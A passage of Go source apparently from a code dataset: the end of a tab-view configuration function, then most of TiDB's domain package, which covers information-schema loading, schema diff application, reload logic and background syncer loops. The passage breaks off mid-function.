.L(""tab_my_orgs_title"") return Config{ Defaults: Defaults{ Preview: PreviewConfig{ Open: true, Width: 70, }, View: ExploreView, }, Views: []ViewConfig{ { Title: fmt.Sprint(styles.DefaultGlyphs.TabExplore, "" "", explore_title), Type: ExploreView, }, { Title: fmt.Sprint(styles.DefaultGlyphs.TabMyRepos, "" "", my_repos_title), Type: MyReposView, }, { Title: fmt.Sprint(styles.DefaultGlyphs.TabMyOrgs, "" "", my_orgs_title), Type: MyOrgsView, }, }, } } ",localizer 423,"// Copyright 2015 PingCAP, Inc. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package domain import ( ""context"" ""encoding/json"" ""fmt"" ""maps"" ""math"" ""math/rand"" ""slices"" ""sort"" ""strconv"" ""strings"" ""sync"" ""sync/atomic"" ""time"" ""github.com/docker/go-units"" ""github.com/ngaut/pools"" ""github.com/pingcap/errors"" ""github.com/pingcap/failpoint"" ""github.com/pingcap/kvproto/pkg/metapb"" ""github.com/pingcap/kvproto/pkg/pdpb"" ""github.com/pingcap/log"" ""github.com/pingcap/tidb/br/pkg/streamhelper"" ""github.com/pingcap/tidb/br/pkg/streamhelper/daemon"" ""github.com/pingcap/tidb/pkg/bindinfo"" ""github.com/pingcap/tidb/pkg/config"" ""github.com/pingcap/tidb/pkg/ddl"" ""github.com/pingcap/tidb/pkg/ddl/notifier"" ""github.com/pingcap/tidb/pkg/ddl/placement"" ""github.com/pingcap/tidb/pkg/ddl/schematracker"" ""github.com/pingcap/tidb/pkg/ddl/systable"" ddlutil ""github.com/pingcap/tidb/pkg/ddl/util"" disthandle ""github.com/pingcap/tidb/pkg/disttask/framework/handle"" ""github.com/pingcap/tidb/pkg/disttask/framework/proto"" ""github.com/pingcap/tidb/pkg/disttask/framework/scheduler"" ""github.com/pingcap/tidb/pkg/disttask/framework/storage"" ""github.com/pingcap/tidb/pkg/disttask/framework/taskexecutor"" ""github.com/pingcap/tidb/pkg/domain/globalconfigsync"" ""github.com/pingcap/tidb/pkg/domain/infosync"" ""github.com/pingcap/tidb/pkg/errno"" ""github.com/pingcap/tidb/pkg/infoschema"" infoschema_metrics ""github.com/pingcap/tidb/pkg/infoschema/metrics"" ""github.com/pingcap/tidb/pkg/infoschema/perfschema"" ""github.com/pingcap/tidb/pkg/keyspace"" ""github.com/pingcap/tidb/pkg/kv"" lcom ""github.com/pingcap/tidb/pkg/lightning/common"" ""github.com/pingcap/tidb/pkg/meta"" ""github.com/pingcap/tidb/pkg/meta/autoid"" ""github.com/pingcap/tidb/pkg/meta/model"" ""github.com/pingcap/tidb/pkg/metrics"" ""github.com/pingcap/tidb/pkg/owner"" ""github.com/pingcap/tidb/pkg/parser"" ""github.com/pingcap/tidb/pkg/parser/ast"" ""github.com/pingcap/tidb/pkg/parser/mysql"" ""github.com/pingcap/tidb/pkg/parser/terror"" metrics2 ""github.com/pingcap/tidb/pkg/planner/core/metrics"" ""github.com/pingcap/tidb/pkg/privilege/privileges"" ""github.com/pingcap/tidb/pkg/resourcegroup/runaway"" ""github.com/pingcap/tidb/pkg/session/syssession"" ""github.com/pingcap/tidb/pkg/sessionctx"" ""github.com/pingcap/tidb/pkg/sessionctx/sessionstates"" ""github.com/pingcap/tidb/pkg/sessionctx/sysproctrack"" ""github.com/pingcap/tidb/pkg/sessionctx/vardef"" ""github.com/pingcap/tidb/pkg/sessionctx/variable"" ""github.com/pingcap/tidb/pkg/statistics/handle"" ""github.com/pingcap/tidb/pkg/statistics/handle/autoanalyze"" ""github.com/pingcap/tidb/pkg/statistics/handle/initstats"" statslogutil ""github.com/pingcap/tidb/pkg/statistics/handle/logutil"" handleutil ""github.com/pingcap/tidb/pkg/statistics/handle/util"" ""github.com/pingcap/tidb/pkg/store"" ""github.com/pingcap/tidb/pkg/store/helper"" ""github.com/pingcap/tidb/pkg/ttl/ttlworker"" ""github.com/pingcap/tidb/pkg/types"" ""github.com/pingcap/tidb/pkg/util"" ""github.com/pingcap/tidb/pkg/util/cgroup"" ""github.com/pingcap/tidb/pkg/util/cpu"" ""github.com/pingcap/tidb/pkg/util/dbterror"" disttaskutil ""github.com/pingcap/tidb/pkg/util/disttask"" ""github.com/pingcap/tidb/pkg/util/domainutil"" ""github.com/pingcap/tidb/pkg/util/engine"" ""github.com/pingcap/tidb/pkg/util/etcd"" ""github.com/pingcap/tidb/pkg/util/expensivequery"" ""github.com/pingcap/tidb/pkg/util/gctuner"" ""github.com/pingcap/tidb/pkg/util/globalconn"" ""github.com/pingcap/tidb/pkg/util/intest"" ""github.com/pingcap/tidb/pkg/util/logutil"" ""github.com/pingcap/tidb/pkg/util/mathutil"" ""github.com/pingcap/tidb/pkg/util/memory"" ""github.com/pingcap/tidb/pkg/util/memoryusagealarm"" ""github.com/pingcap/tidb/pkg/util/replayer"" ""github.com/pingcap/tidb/pkg/util/servermemorylimit"" ""github.com/pingcap/tidb/pkg/util/size"" ""github.com/pingcap/tidb/pkg/util/sqlkiller"" ""github.com/pingcap/tidb/pkg/util/syncutil"" ""github.com/pingcap/tidb/pkg/workloadlearning"" ""github.com/tikv/client-go/v2/tikv"" ""github.com/tikv/client-go/v2/txnkv/transaction"" pd ""github.com/tikv/pd/client"" pdhttp ""github.com/tikv/pd/client/http"" ""github.com/tikv/pd/client/opt"" rmclient ""github.com/tikv/pd/client/resource_group/controller"" clientv3 ""go.etcd.io/etcd/client/v3"" ""go.etcd.io/etcd/client/v3/concurrency"" atomicutil ""go.uber.org/atomic"" ""go.uber.org/zap"" ) var ( mdlCheckLookDuration = 50 * time.Millisecond // LoadSchemaDiffVersionGapThreshold is the threshold for version gap to reload domain by loading schema diffs LoadSchemaDiffVersionGapThreshold int64 = 10000 // NewInstancePlanCache creates a new instance level plan cache, this function is designed to avoid cycle-import. NewInstancePlanCache func(softMemLimit, hardMemLimit int64) sessionctx.InstancePlanCache ) const ( indexUsageGCDuration = 30 * time.Minute ) func init() { if intest.InTest { // In test we can set duration lower to make test faster. mdlCheckLookDuration = 2 * time.Millisecond } } // NewMockDomain is only used for test func NewMockDomain() *Domain { do := &Domain{} do.infoCache = infoschema.NewCache(do, 1) do.infoCache.Insert(infoschema.MockInfoSchema(nil), 0) return do } // Domain represents a storage space. Different domains can use the same database name. // Multiple domains can be used in parallel without synchronization. type Domain struct { store kv.Storage infoCache *infoschema.InfoCache privHandle *privileges.Handle bindHandle atomic.Value statsHandle atomic.Pointer[handle.Handle] statsLease time.Duration ddl ddl.DDL ddlExecutor ddl.Executor ddlNotifier *notifier.DDLNotifier info *infosync.InfoSyncer globalCfgSyncer *globalconfigsync.GlobalConfigSyncer m syncutil.Mutex SchemaValidator SchemaValidator schemaLease time.Duration // advancedSysSessionPool is a more powerful session pool that returns a wrapped session which can detect // some misuse of the session to avoid potential bugs. // It is recommended to use this pool instead of `sysSessionPool`. advancedSysSessionPool *syssession.AdvancedSessionPool // Note: If you no longer need the session, you must call Destroy to release it. // Otherwise, the session will be leaked. Because there is a strong reference from the domain to the session. // Deprecated: Use `advancedSysSessionPool` instead. sysSessionPool util.DestroyableSessionPool exit chan struct{} // `etcdClient` must be used when keyspace is not set, or when the logic to each etcd path needs to be separated by keyspace. etcdClient *clientv3.Client // autoidClient is used when there are tables with AUTO_ID_CACHE=1, it is the client to the autoid service. autoidClient *autoid.ClientDiscover // `unprefixedEtcdCli` will never set the etcd namespace prefix by keyspace. // It is only used in storeMinStartTS and RemoveMinStartTS now. // It must be used when the etcd path isn't needed to separate by keyspace. // See keyspace RFC: https://github.com/pingcap/tidb/pull/39685 unprefixedEtcdCli *clientv3.Client sysVarCache sysVarCache // replaces GlobalVariableCache slowQuery *topNSlowQueries expensiveQueryHandle *expensivequery.Handle memoryUsageAlarmHandle *memoryusagealarm.Handle serverMemoryLimitHandle *servermemorylimit.Handle // TODO: use Run for each process in future pr wg *util.WaitGroupEnhancedWrapper statsUpdating atomicutil.Int32 // this is the parent context of DDL, and also used by other loops such as closestReplicaReadCheckLoop. // there are other top level contexts in the domain, such as the ones used in // InitDistTaskLoop and loadStatsWorker, domain only stores the cancelFns of them. // TODO unify top level context. ctx context.Context cancelFns struct { mu sync.Mutex fns []context.CancelFunc } dumpFileGcChecker *dumpFileGcChecker planReplayerHandle *planReplayerHandle extractTaskHandle *ExtractHandle expiredTimeStamp4PC struct { // let `expiredTimeStamp4PC` use its own lock to avoid any block across domain.Reload() // and compiler.Compile(), see issue https://github.com/pingcap/tidb/issues/45400 sync.RWMutex expiredTimeStamp types.Time } brOwnerMgr owner.Manager logBackupAdvancer *daemon.OwnerDaemon historicalStatsWorker *HistoricalStatsWorker ttlJobManager atomic.Pointer[ttlworker.JobManager] runawayManager *runaway.Manager resourceGroupsController *rmclient.ResourceGroupsController serverID uint64 serverIDSession *concurrency.Session isLostConnectionToPD atomicutil.Int32 // !0: true, 0: false. connIDAllocator globalconn.Allocator onClose func() sysExecutorFactory func(*Domain) (pools.Resource, error) sysProcesses SysProcesses mdlCheckTableInfo *mdlCheckTableInfo mdlCheckCh chan struct{} stopAutoAnalyze atomicutil.Bool minJobIDRefresher *systable.MinJobIDRefresher instancePlanCache sessionctx.InstancePlanCache // the instance level plan cache statsOwner owner.Manager // deferFn is used to release infoschema object lazily during v1 and v2 switch deferFn } type deferFn struct { sync.Mutex data []deferFnRecord } type deferFnRecord struct { fn func() fire time.Time } func (df *deferFn) add(fn func(), fire time.Time) { df.Lock() defer df.Unlock() df.data = append(df.data, deferFnRecord{fn: fn, fire: fire}) } func (df *deferFn) check() { now := time.Now() df.Lock() defer df.Unlock() // iterate the slice, call the defer function and remove it. rm := 0 for i := range df.data { record := &df.data[i] if now.After(record.fire) { record.fn() rm++ } else { df.data[i-rm] = df.data[i] } } df.data = df.data[:len(df.data)-rm] } type mdlCheckTableInfo struct { mu sync.Mutex newestVer int64 jobsVerMap map[int64]int64 jobsIDsMap map[int64]string } // InfoCache export for test. func (do *Domain) InfoCache() *infoschema.InfoCache { return do.infoCache } // EtcdClient export for test. func (do *Domain) EtcdClient() *clientv3.Client { return do.etcdClient } // UnprefixedEtcdCli export for test. func (do *Domain) UnprefixedEtcdCli() *clientv3.Client { return do.unprefixedEtcdCli } // loadInfoSchema loads infoschema at startTS. // It returns: // 1. the needed infoschema // 2. cache hit indicator // 3. currentSchemaVersion(before loading) // 4. the changed table IDs if it is not full load // 5. an error if any func (do *Domain) loadInfoSchema(startTS uint64, isSnapshot bool) (infoschema.InfoSchema, bool, int64, *transaction.RelatedSchemaChange, error) { beginTime := time.Now() defer func() { infoschema_metrics.LoadSchemaDurationTotal.Observe(time.Since(beginTime).Seconds()) }() snapshot := do.store.GetSnapshot(kv.NewVersion(startTS)) // Using the KV timeout read feature to address the issue of potential DDL lease expiration when // the meta region leader is slow. snapshot.SetOption(kv.TiKVClientReadTimeout, uint64(3000)) // 3000ms. m := meta.NewReader(snapshot) neededSchemaVersion, err := m.GetSchemaVersionWithNonEmptyDiff() if err != nil { return nil, false, 0, nil, err } // fetch the commit timestamp of the schema diff schemaTs, err := do.getTimestampForSchemaVersionWithNonEmptyDiff(m, neededSchemaVersion, startTS) if err != nil { logutil.BgLogger().Warn(""failed to get schema version"", zap.Error(err), zap.Int64(""version"", neededSchemaVersion)) schemaTs = 0 } enableV2 := vardef.SchemaCacheSize.Load() > 0 currentSchemaVersion := int64(0) oldInfoSchema := do.infoCache.GetLatest() if oldInfoSchema != nil { currentSchemaVersion = oldInfoSchema.SchemaMetaVersion() } useV2, isV1V2Switch := shouldUseV2(enableV2, oldInfoSchema, isSnapshot) if is := do.infoCache.GetByVersion(neededSchemaVersion); is != nil { isV2, raw := infoschema.IsV2(is) if isV2 { // Copy the infoschema V2 instance and update its ts. // For example, the DDL run 30 minutes ago, GC happened 10 minutes ago. If we use // that infoschema it would get error ""GC life time is shorter than transaction // duration"" when visiting TiKV. // So we keep updating the ts of the infoschema v2. is = raw.CloneAndUpdateTS(startTS) } // try to insert here as well to correct the schemaTs if previous is wrong // the insert method check if schemaTs is zero do.infoCache.Insert(is, schemaTs) if !isV1V2Switch { return is, true, 0, nil, nil } } // TODO: tryLoadSchemaDiffs has potential risks of failure. And it becomes worse in history reading cases. // It is only kept because there is no alternative diff/partial loading solution. // And it is only used to diff upgrading the current latest infoschema, if: // 1. Not first time bootstrap loading, which needs a full load. // 2. It is newer than the current one, so it will be ""the current one"" after this function call. // 3. There are less 100 diffs. // 4. No regenerated schema diff. startTime := time.Now() if !isV1V2Switch && currentSchemaVersion != 0 && neededSchemaVersion > currentSchemaVersion && neededSchemaVersion-currentSchemaVersion < LoadSchemaDiffVersionGapThreshold { is, relatedChanges, diffTypes, err := do.tryLoadSchemaDiffs(useV2, m, currentSchemaVersion, neededSchemaVersion, startTS) if err == nil { infoschema_metrics.LoadSchemaDurationLoadDiff.Observe(time.Since(startTime).Seconds()) isV2, _ := infoschema.IsV2(is) do.infoCache.Insert(is, schemaTs) logutil.BgLogger().Info(""diff load InfoSchema success"", zap.Bool(""isV2"", isV2), zap.Int64(""currentSchemaVersion"", currentSchemaVersion), zap.Int64(""neededSchemaVersion"", neededSchemaVersion), zap.Duration(""elapsed time"", time.Since(startTime)), zap.Int64(""gotSchemaVersion"", is.SchemaMetaVersion()), zap.Int64s(""phyTblIDs"", relatedChanges.PhyTblIDS), zap.Uint64s(""actionTypes"", relatedChanges.ActionTypes), zap.Strings(""diffTypes"", diffTypes)) return is, false, currentSchemaVersion, relatedChanges, nil } // We can fall back to full load, don't need to return the error. logutil.BgLogger().Error(""failed to load schema diff"", zap.Error(err)) } // add failpoint to simulate long-running schema loading scenario failpoint.Inject(""mock-load-schema-long-time"", func(val failpoint.Value) { if val.(bool) { // not ideal to use sleep, but not sure if there is a better way logutil.BgLogger().Error(""sleep before doing a full load"") time.Sleep(15 * time.Second) } }) // full load. schemas, err := do.fetchAllSchemasWithTables(m) if err != nil { return nil, false, currentSchemaVersion, nil, err } policies, err := do.fetchPolicies(m) if err != nil { return nil, false, currentSchemaVersion, nil, err } resourceGroups, err := do.fetchResourceGroups(m) if err != nil { return nil, false, currentSchemaVersion, nil, err } infoschema_metrics.LoadSchemaDurationLoadAll.Observe(time.Since(startTime).Seconds()) data := do.infoCache.Data if isSnapshot { // Use a NewData() to avoid adding the snapshot schema to the infoschema history. // Why? imagine that the current schema version is [103 104 105 ...] // Then a snapshot read require infoschem version 53, and it's added // Now the history becomes [53, ... 103, 104, 105 ...] // Then if a query ask for version 74, we'll mistakenly use 53! // Not adding snapshot schema to history can avoid such cases. data = infoschema.NewData() } builder := infoschema.NewBuilder(do, do.sysFacHack, data, useV2) err = builder.InitWithDBInfos(schemas, policies, resourceGroups, neededSchemaVersion) if err != nil { return nil, false, currentSchemaVersion, nil, err } is := builder.Build(startTS) isV2, _ := infoschema.IsV2(is) logutil.BgLogger().Info(""full load InfoSchema success"", zap.Bool(""isV2"", isV2), zap.Int64(""currentSchemaVersion"", currentSchemaVersion), zap.Int64(""neededSchemaVersion"", neededSchemaVersion), zap.Duration(""elapsed time"", time.Since(startTime))) if isV1V2Switch && schemaTs > 0 { // Reset the whole info cache to avoid co-existing of both v1 and v2, causing the memory usage doubled. fn := do.infoCache.Upsert(is, schemaTs) do.deferFn.add(fn, time.Now().Add(10*time.Minute)) logutil.BgLogger().Info(""infoschema v1/v2 switch"") } else { do.infoCache.Insert(is, schemaTs) } return is, false, currentSchemaVersion, nil, nil } // Returns the timestamp of a schema version, which is the commit timestamp of the schema diff func (do *Domain) getTimestampForSchemaVersionWithNonEmptyDiff(m meta.Reader, version int64, startTS uint64) (uint64, error) { tikvStore, ok := do.Store().(helper.Storage) if ok { newHelper := helper.NewHelper(tikvStore) mvccResp, err := newHelper.GetMvccByEncodedKeyWithTS(m.EncodeSchemaDiffKey(version), startTS) if err != nil { return 0, err } if mvccResp == nil || mvccResp.Info == nil || len(mvccResp.Info.Writes) == 0 { return 0, errors.Errorf(""There is no Write MVCC info for the schema version"") } return mvccResp.Info.Writes[0].CommitTs, nil } return 0, errors.Errorf(""cannot get store from domain"") } func (do *Domain) sysFacHack() (pools.Resource, error) { // TODO: Here we create new sessions with sysFac in DDL, // which will use `do` as Domain instead of call `domap.Get`. // That's because `domap.Get` requires a lock, but before // we initialize Domain finish, we can't require that again. // After we remove the lazy logic of creating Domain, we // can simplify code here. return do.sysExecutorFactory(do) } func (*Domain) fetchPolicies(m meta.Reader) ([]*model.PolicyInfo, error) { allPolicies, err := m.ListPolicies() if err != nil { return nil, err } return allPolicies, nil } func (*Domain) fetchResourceGroups(m meta.Reader) ([]*model.ResourceGroupInfo, error) { allResourceGroups, err := m.ListResourceGroups() if err != nil { return nil, err } return allResourceGroups, nil } func (do *Domain) fetchAllSchemasWithTables(m meta.Reader) ([]*model.DBInfo, error) { allSchemas, err := m.ListDatabases() if err != nil { return nil, err } if len(allSchemas) == 0 { return nil, nil } splittedSchemas := do.splitForConcurrentFetch(allSchemas) concurrency := min(len(splittedSchemas), 128) eg, ectx := util.NewErrorGroupWithRecoverWithCtx(context.Background()) eg.SetLimit(concurrency) for _, schemas := range splittedSchemas { ss := schemas eg.Go(func() error { return do.fetchSchemasWithTables(ectx, ss, m) }) } if err := eg.Wait(); err != nil { return nil, err } return allSchemas, nil } // fetchSchemaConcurrency controls the goroutines to load schemas, but more goroutines // increase the memory usage when calling json.Unmarshal(), which would cause OOM, // so we decrease the concurrency. const fetchSchemaConcurrency = 1 func (*Domain) splitForConcurrentFetch(schemas []*model.DBInfo) [][]*model.DBInfo { groupCnt := fetchSchemaConcurrency schemaCnt := len(schemas) if vardef.SchemaCacheSize.Load() > 0 && schemaCnt > 1000 { // TODO: Temporary solution to speed up when too many databases, will refactor it later. groupCnt = 8 } splitted := make([][]*model.DBInfo, 0, groupCnt) groupSizes := mathutil.Divide2Batches(schemaCnt, groupCnt) start := 0 for _, groupSize := range groupSizes { splitted = append(splitted, schemas[start:start+groupSize]) start += groupSize } return splitted } func (*Domain) fetchSchemasWithTables(ctx context.Context, schemas []*model.DBInfo, m meta.Reader) error { failpoint.Inject(""failed-fetch-schemas-with-tables"", func() { failpoint.Return(errors.New(""failpoint: failed to fetch schemas with tables"")) }) for _, di := range schemas { // if the ctx has been canceled, stop fetching schemas. if err := ctx.Err(); err != nil { return err } var tables []*model.TableInfo var err error if vardef.SchemaCacheSize.Load() > 0 && !infoschema.IsSpecialDB(di.Name.L) { name2ID, specialTableInfos, err := m.GetAllNameToIDAndTheMustLoadedTableInfo(di.ID) if err != nil { return err } di.TableName2ID = name2ID tables = specialTableInfos } else { tables, err = m.ListTables(ctx, di.ID) if err != nil { return err } } // If TreatOldVersionUTF8AsUTF8MB4 was enable, need to convert the old version schema UTF8 charset to UTF8MB4. if config.GetGlobalConfig().TreatOldVersionUTF8AsUTF8MB4 { for _, tbInfo := range tables { infoschema.ConvertOldVersionUTF8ToUTF8MB4IfNeed(tbInfo) } } diTables := make([]*model.TableInfo, 0, len(tables)) for _, tbl := range tables { infoschema.ConvertCharsetCollateToLowerCaseIfNeed(tbl) // Check whether the table is in repair mode. if domainutil.RepairInfo.InRepairMode() && domainutil.RepairInfo.CheckAndFetchRepairedTable(di, tbl) { if tbl.State != model.StatePublic { // Do not load it because we are reparing the table and the table info could be `bad` // before repair is done. continue } // If the state is public, it means that the DDL job is done, but the table // haven't been deleted from the repair table list. // Since the repairment is done and table is visible, we should load it. } diTables = append(diTables, tbl) } di.Deprecated.Tables = diTables } return nil } // shouldUseV2 decides whether to use infoschema v2. // When loading snapshot, infoschema should keep the same as before to avoid v1/v2 switch. // Otherwise, it is decided by enabledV2. func shouldUseV2(enableV2 bool, old infoschema.InfoSchema, isSnapshot bool) (useV2 bool, isV1V2Switch bool) { // case 1: no information about old if old == nil { return enableV2, false } // case 2: snapshot load should keep the same as old oldIsV2, _ := infoschema.IsV2(old) if isSnapshot { return oldIsV2, false } // case 3: the most general case return enableV2, oldIsV2 != enableV2 } // tryLoadSchemaDiffs tries to only load latest schema changes. // Return true if the schema is loaded successfully. // Return false if the schema can not be loaded by schema diff, then we need to do full load. // The second returned value is the delta updated table and partition IDs. func (do *Domain) tryLoadSchemaDiffs(useV2 bool, m meta.Reader, usedVersion, newVersion int64, startTS uint64) (infoschema.InfoSchema, *transaction.RelatedSchemaChange, []string, error) { var diffs []*model.SchemaDiff for usedVersion < newVersion { usedVersion++ diff, err := m.GetSchemaDiff(usedVersion) if err != nil { return nil, nil, nil, err } if diff == nil { // Empty diff means the txn of generating schema version is committed, but the txn of `runDDLJob` is not or fail. // It is safe to skip the empty diff because the infoschema is new enough and consistent. logutil.BgLogger().Info(""diff load InfoSchema get empty schema diff"", zap.Int64(""version"", usedVersion)) do.infoCache.InsertEmptySchemaVersion(usedVersion) continue } diffs = append(diffs, diff) } failpoint.Inject(""MockTryLoadDiffError"", func(val failpoint.Value) { switch val.(string) { case ""exchangepartition"": if diffs[0].Type == model.ActionExchangeTablePartition { failpoint.Return(nil, nil, nil, errors.New(""mock error"")) } case ""renametable"": if diffs[0].Type == model.ActionRenameTable { failpoint.Return(nil, nil, nil, errors.New(""mock error"")) } case ""dropdatabase"": if diffs[0].Type == model.ActionDropSchema { failpoint.Return(nil, nil, nil, errors.New(""mock error"")) } } }) builder := infoschema.NewBuilder(do, do.sysFacHack, do.infoCache.Data, useV2) err := builder.InitWithOldInfoSchema(do.infoCache.GetLatest()) if err != nil { return nil, nil, nil, errors.Trace(err) } builder.WithStore(do.store).SetDeltaUpdateBundles() phyTblIDs := make([]int64, 0, len(diffs)) actions := make([]uint64, 0, len(diffs)) diffTypes := make([]string, 0, len(diffs)) for _, diff := range diffs { if diff.RegenerateSchemaMap { return nil, nil, nil, errors.Errorf(""Meets a schema diff with RegenerateSchemaMap flag"") } ids, err := builder.ApplyDiff(m, diff) if err != nil { return nil, nil, nil, err } if canSkipSchemaCheckerDDL(diff.Type) { continue } diffTypes = append(diffTypes, diff.Type.String()) phyTblIDs = append(phyTblIDs, ids...) for range ids { actions = append(actions, uint64(diff.Type)) } } is := builder.Build(startTS) relatedChange := transaction.RelatedSchemaChange{} relatedChange.PhyTblIDS = phyTblIDs relatedChange.ActionTypes = actions return is, &relatedChange, diffTypes, nil } func canSkipSchemaCheckerDDL(tp model.ActionType) bool { switch tp { case model.ActionUpdateTiFlashReplicaStatus, model.ActionSetTiFlashReplica: return true } return false } // InfoSchema gets the latest information schema from domain. func (do *Domain) InfoSchema() infoschema.InfoSchema { return do.infoCache.GetLatest() } // GetSnapshotInfoSchema gets a snapshot information schema. func (do *Domain) GetSnapshotInfoSchema(snapshotTS uint64) (infoschema.InfoSchema, error) { // if the snapshotTS is new enough, we can get infoschema directly through snapshotTS. if is := do.infoCache.GetBySnapshotTS(snapshotTS); is != nil { return is, nil } is, _, _, _, err := do.loadInfoSchema(snapshotTS, true) infoschema_metrics.LoadSchemaCounterSnapshot.Inc() return is, err } // GetSnapshotMeta gets a new snapshot meta at startTS. func (do *Domain) GetSnapshotMeta(startTS uint64) meta.Reader { snapshot := do.store.GetSnapshot(kv.NewVersion(startTS)) return meta.NewReader(snapshot) } // ExpiredTimeStamp4PC gets expiredTimeStamp4PC from domain. func (do *Domain) ExpiredTimeStamp4PC() types.Time { do.expiredTimeStamp4PC.RLock() defer do.expiredTimeStamp4PC.RUnlock() return do.expiredTimeStamp4PC.expiredTimeStamp } // SetExpiredTimeStamp4PC sets the expiredTimeStamp4PC from domain. func (do *Domain) SetExpiredTimeStamp4PC(time types.Time) { do.expiredTimeStamp4PC.Lock() defer do.expiredTimeStamp4PC.Unlock() do.expiredTimeStamp4PC.expiredTimeStamp = time } // DDL gets DDL from domain. func (do *Domain) DDL() ddl.DDL { return do.ddl } // DDLExecutor gets the ddl executor from domain. func (do *Domain) DDLExecutor() ddl.Executor { return do.ddlExecutor } // SetDDL sets DDL to domain, it's only used in tests. func (do *Domain) SetDDL(d ddl.DDL, executor ddl.Executor) { do.ddl = d do.ddlExecutor = executor } // InfoSyncer gets infoSyncer from domain. func (do *Domain) InfoSyncer() *infosync.InfoSyncer { return do.info } // NotifyGlobalConfigChange notify global config syncer to store the global config into PD. func (do *Domain) NotifyGlobalConfigChange(name, value string) { do.globalCfgSyncer.Notify(pd.GlobalConfigItem{Name: name, Value: value, EventType: pdpb.EventType_PUT}) } // GetGlobalConfigSyncer exports for testing. func (do *Domain) GetGlobalConfigSyncer() *globalconfigsync.GlobalConfigSyncer { return do.globalCfgSyncer } // Store gets KV store from domain. func (do *Domain) Store() kv.Storage { return do.store } // GetScope gets the status variables scope. func (*Domain) GetScope(string) vardef.ScopeFlag { // Now domain status variables scope are all default scope. return variable.DefaultStatusVarScopeFlag } func getFlashbackStartTSFromErrorMsg(err error) uint64 { slices := strings.Split(err.Error(), ""is in flashback progress, FlashbackStartTS is "") if len(slices) != 2 { return 0 } version, err := strconv.ParseUint(slices[1], 10, 0) if err != nil { return 0 } return version } // Reload reloads InfoSchema. // It's public in order to do the test. func (do *Domain) Reload() error { failpoint.Inject(""ErrorMockReloadFailed"", func(val failpoint.Value) { if val.(bool) { failpoint.Return(errors.New(""mock reload failed"")) } }) // Lock here for only once at the same time. do.m.Lock() defer do.m.Unlock() startTime := time.Now() ver, err := do.store.CurrentVersion(kv.GlobalTxnScope) if err != nil { return err } version := ver.Ver is, hitCache, oldSchemaVersion, changes, err := do.loadInfoSchema(version, false) if err != nil { if version = getFlashbackStartTSFromErrorMsg(err); version != 0 { // use the latest available version to create domain version-- is, hitCache, oldSchemaVersion, changes, err = do.loadInfoSchema(version, false) } } if err != nil { metrics.LoadSchemaCounter.WithLabelValues(""failed"").Inc() return err } metrics.LoadSchemaCounter.WithLabelValues(""succ"").Inc() // only update if it is not from cache if !hitCache { // loaded newer schema if oldSchemaVersion < is.SchemaMetaVersion() { // Update self schema version to etcd. err = do.ddl.SchemaSyncer().UpdateSelfVersion(context.Background(), 0, is.SchemaMetaVersion()) if err != nil { logutil.BgLogger().Info(""update self version failed"", zap.Int64(""oldSchemaVersion"", oldSchemaVersion), zap.Int64(""neededSchemaVersion"", is.SchemaMetaVersion()), zap.Error(err)) } } // it is full load if changes == nil { logutil.BgLogger().Info(""full load and reset schema validator"") do.SchemaValidator.Reset() } } lease := do.GetSchemaLease() sub := time.Since(startTime) // Reload interval is lease / 2, if load schema time elapses more than this interval, // some query maybe responded by ErrInfoSchemaExpired error. if sub > (lease/2) && lease > 0 { // If it is a full load and there are a lot of tables, this is likely to happen. logutil.BgLogger().Warn(""loading schema takes a long time"", zap.Duration(""take time"", sub)) // We can optimize the case by updating the TS to a new value, as long as the schema version is the same. // For example, lease is 45s, and the load process takes 2min, after the load process finish, this // loaded infoschema because stale immediately. // But if we re-check the schema version again and verify that it's still the newest, it is safe to use it. var latestSchemaVer int64 var currentTS uint64 ctx := kv.WithInternalSourceType(context.Background(), kv.InternalTxnMeta) err := kv.RunInNewTxn(ctx, do.store, false, func(_ context.Context, txn kv.Transaction) error { var err error m := meta.NewReader(txn) latestSchemaVer, err = m.GetSchemaVersion() if err != nil { return errors.Trace(err) } currentTS = txn.StartTS() return nil }) if err == nil && latestSchemaVer == is.SchemaMetaVersion() { version = currentTS logutil.BgLogger().Info(""use this schema and update ts"", zap.Int64(""schema ver"", latestSchemaVer), zap.Uint64(""reload ts"", currentTS)) } } // lease renew, so it must be executed despite it is cache or not do.SchemaValidator.Update(version, oldSchemaVersion, is.SchemaMetaVersion(), changes) return nil } // LogSlowQuery keeps topN recent slow queries in domain. func (do *Domain) LogSlowQuery(query *SlowQueryInfo) { do.slowQuery.mu.RLock() defer do.slowQuery.mu.RUnlock() if do.slowQuery.mu.closed { return } select { case do.slowQuery.ch <- query: default: } } // ShowSlowQuery returns the slow queries. func (do *Domain) ShowSlowQuery(showSlow *ast.ShowSlow) []*SlowQueryInfo { msg := &showSlowMessage{ request: showSlow, } msg.Add(1) do.slowQuery.msgCh <- msg msg.Wait() return msg.result } func (do *Domain) topNSlowQueryLoop() { defer util.Recover(metrics.LabelDomain, ""topNSlowQueryLoop"", nil, false) ticker := time.NewTicker(time.Minute * 10) defer func() { ticker.Stop() logutil.BgLogger().Info(""topNSlowQueryLoop exited."") }() for { select { case now := <-ticker.C: do.slowQuery.RemoveExpired(now) case info, ok := <-do.slowQuery.ch: if !ok { return } do.slowQuery.Append(info) case msg := <-do.slowQuery.msgCh: req := msg.request switch req.Tp { case ast.ShowSlowTop: msg.result = do.slowQuery.QueryTop(int(req.Count), req.Kind) case ast.ShowSlowRecent: msg.result = do.slowQuery.QueryRecent(int(req.Count)) default: msg.result = do.slowQuery.QueryAll() } msg.Done() } } } func (do *Domain) infoSyncerKeeper() { defer func() { logutil.BgLogger().Info(""infoSyncerKeeper exited."") }() defer util.Recover(metrics.LabelDomain, ""infoSyncerKeeper"", nil, false) ticker := time.NewTicker(infosync.ReportInterval) defer ticker.Stop() for { select { case <-ticker.C: do.info.ReportMinStartTS(do.Store()) case <-do.info.Done(): logutil.BgLogger().Info(""server info syncer need to restart"") if err := do.info.Restart(context.Background()); err != nil { logutil.BgLogger().Error(""server info syncer restart failed"", zap.Error(err)) } else { logutil.BgLogger().Info(""server info syncer restarted"") } case <-do.exit: return } } } func (do *Domain) globalConfigSyncerKeeper() { defer func() { logutil.BgLogger().Info(""globalConfigSyncerKeeper exited."") }() defer util.Recover(metrics.LabelDomain, ""globalConfigSyncerKeeper"", nil, false) for { select { case entry := 